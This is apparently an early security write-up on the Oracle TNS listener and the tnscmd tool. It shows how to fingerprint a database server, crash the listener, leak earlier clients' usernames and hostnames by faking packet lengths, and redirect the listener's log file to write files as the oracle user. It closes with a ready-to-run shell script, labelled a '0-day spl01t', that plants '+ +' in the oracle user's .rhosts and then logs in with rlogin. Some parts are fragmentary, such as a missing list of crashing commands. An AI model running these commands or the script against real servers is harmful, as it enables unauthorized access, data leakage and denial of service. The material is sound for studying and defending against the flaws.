The TNS listener (aka tnslsnr) is the network interface between a database client and the database server. tnslsnr listens on port 1521/tcp, but the DBA can change this (I've seen listeners on port 1541/tcp as well.) fwiw, nmap-services lists these as ncube-lm and rds2, respectively.
The tnslnsr keeps a spartan log of activity -- spartan in that it doesn't log a whole lot of useful information. For instance, it does not log the IP address of TNS sessions.
If you initiate a TCP session to the tnslsnr port, you won't make much headway; it won't provide a banner and will probably disconnect if you type something. Don't worry; this is what tnscmd is for.
ping
(an application-level no-op),
version
(dumps version information about Oracle),
status
(dumps status about the listener and database instances),
and services
(dumps info about the running services.) Commands
are apparently case-insensitive.
Let's say we've found the host oraclebox.example.com listening on port 1521. It might be running Oracle; how can we tell? the 'ping' command is a good place to start; tnscmd will issue a 'ping' command if given no command.
If we want to ping this host to see if it is actually running tnslsnr, we would type:
unix% tnscmd -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521 writing 87 bytes reading .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))Here we see three things:
(CONNECT_DATA=(COMMAND=ping))
.W.......6.
[ etc ]
.I......"..=(DESCRIPTION=(
[etc]
version
, status
and
services
:
unix% tnscmd version -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521 writing 90 bytes reading .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)). a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris: .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S olaris:.Version.8.1.6.0.0.-.Production,,.........@This is pretty straightforward.
version
reveals the version of
Oracle (in this case, 8.1.6.0.0 for Solaris). Another command,
status
is a bit more verbose:
unix% tnscmd status -h oraclebox.example.com -p 1521 sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521 writing 89 bytes reading .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880 )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8. 1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/ app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro[ snipped for brevity ]
Wow, look at all that data. Kind of hard to read, but because it's all balanced within parens, we can break it up with the --indent option and make it purty:
unix% tnscmd status -h oraclebox.example.com -p 1521 --indent
We'll get something like:
DESCRIPTION= TMP= VSNNUM=135290880 ERR=0 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production START_DATE=01-SEP-2000.18:35:49 SIDNUM=1 LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora TRACING=off UPTIME=2032269835 SNMP=OFFNote
SECURITY=OFF
.
I believe this indicates whether or not the DBA has assigned a
password to the listener.
Note START_DATE
and UPTIME
.
Not clear if UPTIME
is the tnslsnr uptime or the host uptime.
Note the path to LOGFILE
and PRMFILE
.
This can give you a good idea of the filesystem layout.
Other strange oracle stuff:
ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0 PRE=ttc SESSION=NS DESCRIPTION= ADDRESS= PROTOCOL=ipc KEY=EXTPROC ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0 PRE=ttc SESSION=NS DESCRIPTION= ADDRESS= PROTOCOL=tcp HOST=oraclebox.example.com PORT=1521 ENDPOINT= HANDLER= STA=ready HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=0 REFUSED=0 HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0 PRE=giop SESSION=RAW DESCRIPTION= ADDRESS= PROTOCOL=tcp HOST=oraclebox.example.com PORT=2481.. unanswered question: what's running on port 2481?
PROTOCOL_STACK= PRESENTATION=GIOP SESSION=RAW SERVICE= SERVICE_NAME=PLSExtProc INSTANCE= INSTANCE_NAME=PLSExtProc NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1 SERVICE= SERVICE_NAME=pr01stage INSTANCE= INSTANCE_NAME=pr01stage NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1 SERVICE= SERVICE_NAME=rcats INSTANCE= INSTANCE_NAME=rcats NUM=1 INSTANCE_CLASS=ORACLE NUMREL=1[ ... ]
The 'services' command outputs still more information:
unix% tnscmd services -h oraclebox.example.com -p 1521 --indent[ ... ]
SERVICE= SERVICE_NAME=PLSExtProc INSTANCE= INSTANCE_NAME=PLSExtProc NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED.SERVER STA=ready HANDLER_INFO=LOCAL.SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=86 REFUSED=0 HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc' ARGV0=extprocPLSExtProc ARGS=' LOCAL=NO ' NUMREL=1
PROGRAM
, ENVS
, and ARGV0
are
potentially interesting. If the tnslsnr was started out of an interactive
shell, ENVS
will contain the user's environment.
IV.1 - DoS:
"Bad" TNS packets can crash the listener, regardless of whether or not the DBA has set a password. Sending
tnscmd [badcommand] -h oraclebox.example.com
will SEGV the listener. badcommand can be any one of:
Recall the 'log_file' command and the LOGFILE variable returned by the 'status' command. This is the path to the tnslsnr log file. As you might imagine, this variable can be changed. If we send this TNS command (using the --rawcmd option to tnslsnr)
unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))".. then tnslsnr will open with
O_APPEND
/tmp/floboz and
start logging messages to it. This can be verified by the response packet:
........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LOG FILENAME=/tmp/floboz)).. or by
unix% tnscmd status -h oraclebox.example.com --indent | grep LOGSince tnscmd runs as the oracle user, an attacker can write files anywhere the oracle user can. If an attacker knows the pathname to a database (can be deduced from the pathnames revealed by tnscmd), she can clobber the database.
She might, however, chose a more subtle route: either by using finger or determining the oracle home directory by guesswork (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts or .forward file. While the tnslsnr doesn't log much, it *does* log bad commands; she can then send a command such as (note the embedded newlines in the quotes)
unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=(( + + ".. tnslnsr will log something along the lines of
TNS-01153: Failed to process string: + + NL-00303: syntax error in NV stringinto our log file / .rhosts.
IV.3: tns packet leakage
By lying about the size of the packet we're sending to the tnslsnr, we can get the tnslsnr to reveal the contents of previous packets. We can do this with the --cmdsize option. While any command will work, we use " " (space) just so we preserve the original buffer contents as much as possible.
unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40 Sending to oraclebox.example.com:1521 Faking command length to 40 bytes connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))] .T.......6.,...............:................4.............(CONNECT_DATA=(COMMA ND=.)) read ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3 03)(EMFI=1)))).. that's odd, where did that
vices))CONNECT
come from?
Hey, that looks familiar... it looks like the services
command
I just sent in the last example! But what's with the CONNECT
?
CONNECT_DATA
comes at the beginning of the packet; maybe
there's another command here?
unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90[ ... ]
........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1 )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))Apparently tnslsnr doesn't clear the buffer before writing a packet into it, or maybe it doesn't properly zero-terminate a string. Whatever is going on inside can be used to our advantage to harvest more interesting information. Let's go whole-hog and try it a --cmdsize of 200:
........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(E RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=( SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))')) (ERROR=(CODE=303)(EMFI=1))))(I added the XXX's to balance the packet :) Huh, a pathname, a hostname, and a username. No passwords, unfortunately -- SQL*net login is handled in a child process, IIRC -- but a username is a good place to start. On a busy server, this can potentially reveal lots of usernames. If the listener is passworded and the DBA connects, will the password be leaked? hmm.
By playing with the --cmdsize argument, the rest of the "old" packet(s) will be revealed. Once you've gone past a certain point, though, you'll just get a TNS error (ERR=1153). It's also not too hard to write a program to find the optimal values & run it against a server for a few days ..
I have been able to verify that this works against Oracle for Solaris, but I have had reports that the Linux port does not exhibit this behaviour.
06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0 06-OCT-2000 23:37:03 * service_register * pr01dev * 0
0-day spl01t:
#!/bin/sh # # jwa@jammed.com 6 Oct 2000 # # point the logfile at $HOME/.rhosts ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts)))" -h oraclesvr2 # verify that it worked (this will dump the value of log_file) ./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2 # put arbitrary data into the logfile-- it will look something like this: # # 06-OCT-2000 18:14:46 * log_file * 0 # 06-OCT-2000 18:14:46 * log_file * 0 # 06-OCT-2000 18:14:47 * 1153 # TNS-01153: Failed to process string: # + + # # NL-00303: syntax error in NV string # ./tnscmd --rawcmd " + + " -h oraclesvr2 # # connect # rlogin -l oracle oraclesvr2